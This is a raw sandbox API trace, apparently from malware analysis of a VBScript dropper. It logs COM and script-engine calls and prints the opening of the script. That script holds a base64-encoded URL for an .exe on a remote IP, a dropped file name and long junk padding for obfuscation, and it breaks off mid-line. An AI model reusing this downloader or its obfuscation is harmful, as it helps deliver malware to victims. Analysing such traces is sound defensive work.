IUnknown:Release (This=0x11977a8) returned 0x6 [0088.283] longjmp () [0088.283] FindResourceA (hModule=0x66890000, lpName=0x1b, lpType=0x6) returned 0x4850640 [0088.283] LoadResource (hModule=0x66890000, hResInfo=0x4850640) returned 0x4850f14 [0088.283] LockResource (hResData=0x4850f14) returned 0x4850f14 [0088.283] SizeofResource (hModule=0x66890000, hResInfo=0x4850640) returned 0xc8 [0088.283] FindResourceA (hModule=0x66890000, lpName=0x101, lpType=0x6) returned 0x48506e0 [0088.284] LoadResource (hModule=0x66890000, hResInfo=0x48506e0) returned 0x48521d8 [0088.284] LockResource (hResData=0x48521d8) returned 0x48521d8 [0088.284] SizeofResource (hModule=0x66890000, hResInfo=0x48506e0) returned 0xd2 [0088.284] SysStringLen (param_1="Object required") returned 0xf [0088.284] free (_Block=0x1112950) [0088.284] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154a90 | out: ppvObject=0x154a90*=0x83fd368) returned 0x0 [0088.284] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668c4198*(Data1=0xc5598e60, Data2=0xb307, Data3=0x11d1, Data4=([0]=0xb2, [1]=0x7d, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfb)), ppvObject=0x154a8c | out: ppvObject=0x154a8c*=0x0) returned 0x80004002 [0088.284] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154a88 | out: ppvObject=0x154a88*=0x83fd378) returned 0x0 [0088.284] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.284] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x6689fedc*(Data1=0x4717cc40, Data2=0xbcb9, Data3=0x11d0, Data4=([0]=0x93, [1]=0x36, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154a90 | out: ppvObject=0x154a90*=0x0) returned 0x80004002 [0088.284] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.284] ??2@YAPAXI@Z () returned 0x1197838 [0088.284] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0088.284] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0088.285] IActiveScriptSite:OnScriptError (in: This=0x83fd368, pscripterror=0x1197838 | out: pscripterror=0x1197838*=0x6689473c) returned 0x1 [0088.285] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0088.285] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0088.285] VBScriptEngine5:IUnknown:AddRef (This=0x1197838) returned 0x3 [0088.287] longjmp () [0088.287] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154d7c | out: ppvObject=0x154d7c*=0x83fd368) returned 0x0 [0088.287] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668c4198*(Data1=0xc5598e60, Data2=0xb307, Data3=0x11d1, Data4=([0]=0xb2, [1]=0x7d, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfb)), ppvObject=0x154d78 | out: ppvObject=0x154d78*=0x0) returned 0x80004002 [0088.287] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154d74 | out: ppvObject=0x154d74*=0x83fd378) returned 0x0 [0088.287] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.287] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x6689fedc*(Data1=0x4717cc40, Data2=0xbcb9, Data3=0x11d0, Data4=([0]=0x93, [1]=0x36, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154d7c | out: ppvObject=0x154d7c*=0x0) returned 0x80004002 [0088.287] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.288] IActiveScriptSite:OnScriptError (in: This=0x83fd368, pscripterror=0x1197838 | out: pscripterror=0x1197838*=0x6689473c) returned 0x1 [0088.288] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0088.288] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0088.288] VBScriptEngine5:IUnknown:AddRef (This=0x1197838) returned 0x3 [0088.294] IActiveScriptSite:OnLeaveScript (This=0x83fd368) returned 0x0 [0088.294] ISystemDebugEventFire:IsActive (This=0x6bcaca0) returned 0x1 [0088.294] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x4 [0088.294] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x3 [0088.294] ??3@YAXPAX@Z () returned 0x6b0001 [0088.295] IActiveScriptSite:GetDocVersionString (in: This=0x83fd368, pbstrVersion=0x1 | out: pbstrVersion=0x1) returned 0x80004001 [0088.295] VBScriptEngine5:IUnknown:Release (This=0x83fd390) returned 0x1 [0088.295] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a9bc8, ss=0) returned 0x0 [0088.295] GetUserDefaultLCID () returned 0x409 [0088.295] GetACP () returned 0x4e4 [0088.295] IUnknown:Release (This=0x11977a8) returned 0x2 [0088.295] ??3@YAXPAX@Z () returned 0x3c0001 [0088.296] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x0 [0088.296] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x0 [0088.308] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x1 [0088.308] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x0 [0088.314] free (_Block=0x11a9dd0) [0088.314] free (_Block=0x87928c0) [0088.314] free (_Block=0x8785300) [0088.314] free (_Block=0x87908b0) [0088.314] free (_Block=0x847d748) [0088.314] free (_Block=0x119a768) [0088.314] free (_Block=0x84743a8) [0088.314] free (_Block=0x872d3c8) [0088.314] free (_Block=0x83d9ce0) [0088.314] ??3@YAXPAX@Z () returned 0xa40001 [0088.315] ISystemDebugEventFire:EndSession (This=0x6bcaca0) returned 0x0 [0088.315] IUnknown:Release (This=0x6bcaca0) returned 0x1 [0088.315] ??3@YAXPAX@Z () returned 0x740001 [0088.315] ??3@YAXPAX@Z () returned 0x620001 [0088.315] VBScriptEngine5:IUnknown:Release (This=0x83fd374) returned 0x2 [0088.315] IUnknown:Release (This=0x6bcaca0) returned 0x0 [0088.315] IActiveScriptSite:GetDocVersionString (in: This=0x83fd368, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0088.315] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x1 [0088.315] VBScriptEngine5:IUnknown:Release (This=0x11a9bcc) returned 0x2 [0088.316] VBScriptEngine5:IActiveScript:Close (This=0x11a9bc8) returned 0x0 [0088.316] VBScriptEngine5:IUnknown:Release (This=0x11a9bc8) returned 0x0 [0088.316] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0088.322] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0088.464] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154768 | out: ppv=0x154768*=0x846e118) returned 0x0 [0088.464] ??2@YAPAXI@Z () returned 0x846e118 [0088.465] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e118, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x0) returned 0x80004002 [0088.465] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e118, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154774 | out: ppvObject=0x154774*=0x11a99c0) returned 0x0 [0088.465] ??2@YAPAXI@Z () returned 0x11a99c0 [0088.465] GetUserDefaultLCID () returned 0x409 [0088.465] GetACP () returned 0x4e4 [0088.465] VBScriptEngine5:IUnknown:Release (This=0x846e118) returned 0x0 [0088.465] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x154798 | out: ppvObject=0x154798*=0x11a99c0) returned 0x0 [0088.465] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0088.466] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0088.466] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0088.466] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d258 | out: ppvObject=0x846d258*=0x11a99c4) returned 0x0 [0088.466] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0088.466] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4f8) returned 0x0 [0088.466] GetCurrentThreadId () returned 0xd44 [0088.466] ??2@YAPAXI@Z () returned 0x1186b60 [0088.466] ??2@YAPAXI@Z () returned 0x83fd368 [0088.466] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0088.466] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4f8) returned 0x2 [0088.466] IActiveScriptSite:GetLCID (in: This=0x83fd4f8, plcid=0x154760 | out: plcid=0x154760*=0x800) returned 0x0 [0088.466] GetSystemDefaultLCID () returned 0x409 [0088.466] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x154730, cchData=6 | out: lpLCData="1252") returned 5 [0088.466] IsValidCodePage (CodePage=0x4e4) returned 1 [0088.467] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0088.467] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd504) returned 0x0 [0088.467] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd504, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0088.467] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6bcaca0) returned 0x0 [0088.467] IUnknown:AddRef (This=0x6bcaca0) returned 0x2 [0088.467] ISystemDebugEventFire:BeginSession (This=0x6bcaca0, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12298697") returned 0x0 [0088.468] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 